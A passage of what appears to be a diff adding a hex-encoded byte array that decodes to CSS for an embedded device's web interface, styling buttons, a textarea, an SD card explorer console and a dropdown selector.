0x2C, 0x20, 0x30, 0x2C, 0x20, + 0x30, 0x2E, 0x35, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, + 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, + 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, + 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, + 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, + 0x67, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x20, 0x32, 0x35, 0x70, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, + 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x32, 0x35, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, + 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, + 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, + 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x6D, 0x6F, 0x6E, 0x6F, 0x29, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x77, 0x65, 0x69, 0x67, + 0x68, 0x74, 0x3A, 0x20, 0x35, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, + 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x6C, + 0x6C, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x20, 0x65, 0x61, 0x73, 0x65, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, + 0x3A, 0x20, 0x30, 0x20, 0x32, 0x70, 0x78, 0x20, 0x34, 0x70, 0x78, 0x20, + 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, + 0x2C, 0x20, 0x30, 0x2E, 0x32, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, + 0x43, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, + 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, + 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, + 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, + 0x32, 0x30, 0x70, 0x78, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, + 0x35, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x78, 0x2D, 0x77, + 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x32, 0x32, 0x30, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, + 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3A, 0x68, 0x6F, 0x76, 0x65, + 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, + 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x3A, + 0x20, 0x30, 0x20, 0x34, 0x70, 0x78, 0x20, 0x38, 0x70, 0x78, 0x20, 0x72, + 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, + 0x20, 0x30, 0x2E, 0x33, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, + 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, + 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x31, 0x70, 0x78, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x2E, 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, + 0x38, 0x70, 0x78, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, + 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x30, 0x2E, + 0x39, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, + 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, + 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, + 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, + 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, + 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x65, + 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x61, + 0x72, 0x65, 0x61, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x73, 0x69, 0x7A, + 0x65, 0x3A, 0x20, 0x76, 0x65, 0x72, 0x74, 0x69, 0x63, 0x61, 0x6C, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, + 0x3A, 0x20, 0x38, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x53, 0x44, 0x20, + 0x43, 0x61, 0x72, 0x64, 0x20, 0x45, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, + 0x72, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x23, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2C, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x6F, + 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, + 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x73, 0x65, 0x63, + 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, + 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, + 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x33, 0x30, + 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x76, 0x65, 0x72, 0x66, 0x6C, + 0x6F, 0x77, 0x2D, 0x79, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, + 0x3A, 0x20, 0x27, 0x43, 0x6F, 0x75, 0x72, 0x69, 0x65, 0x72, 0x20, 0x4E, + 0x65, 0x77, 0x27, 0x2C, 0x20, 0x43, 0x6F, 0x75, 0x72, 0x69, 0x65, 0x72, + 0x2C, 0x20, 0x6D, 0x6F, 0x6E, 0x6F, 0x73, 0x70, 0x61, 0x63, 0x65, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x77, 0x68, 0x69, 0x74, 0x65, 0x2D, 0x73, 0x70, 0x61, 0x63, + 0x65, 0x3A, 0x20, 0x70, 0x72, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, + 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, + 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, + 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, + 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, + 0x20, 0x53, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x57, 0x72, 0x61, 0x70, + 0x70, 0x65, 0x72, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, + 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, + 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, + 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, + 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, + 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x33, 0x30, 0x30, + 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, + 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, + 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, + 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, + 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, + 0x67, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x20, 0x31, 0x35, 0x70, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, + 0x3A, 0x20, 0x31, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, + 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x69, 0x6E, 0x70, + 0x75, 0x74, 0x2D, 0x62, 0x67, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, + 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, + 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x69, 0x6E, 0x70, + 0x75, 0x74, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, + 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, + 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x61, 0x70, 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, + 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, + 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x61, 0x70, + 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, 0x20, 0x6E, 0x6F, + 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x6D, 0x6F, 0x7A, 0x2D, 0x61, 0x70, + 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, 0x20, 0x6E, 0x6F, + 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, + 0x75, 0x6E, 0x64, 0x2D, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x3A, 0x20, 0x6E, + 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, + 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x2C, + 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, + 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, + 0x72, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3A, 0x66, 0x6F, 0x63, + 0x75, 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, + 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, + 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, + 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, + 0x20, 0x23, 0x31, 0x61, 0x30, 0x64, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, + 0x75, 0x74, 0x6C, 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, + 0x70, 0x65, 0x72, 0x3A, 0x3A, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, + 0x5C, 0x32, 0x35, 0x42, 0x43, 0x27, 0x3B, 0x20, 0x2F, 0x2A, 0x20, 0x44, + 0x6F, 0x77, 0x6E, 0x20, 0x61, 0x72, 0x72, 0x6F, 0x77, 0x20, 0x2A, 0x2F, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, + 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, + 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x35, 0x34, 0x25, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, + 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x35, + 0x30, 0x25, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x2D, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, + 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 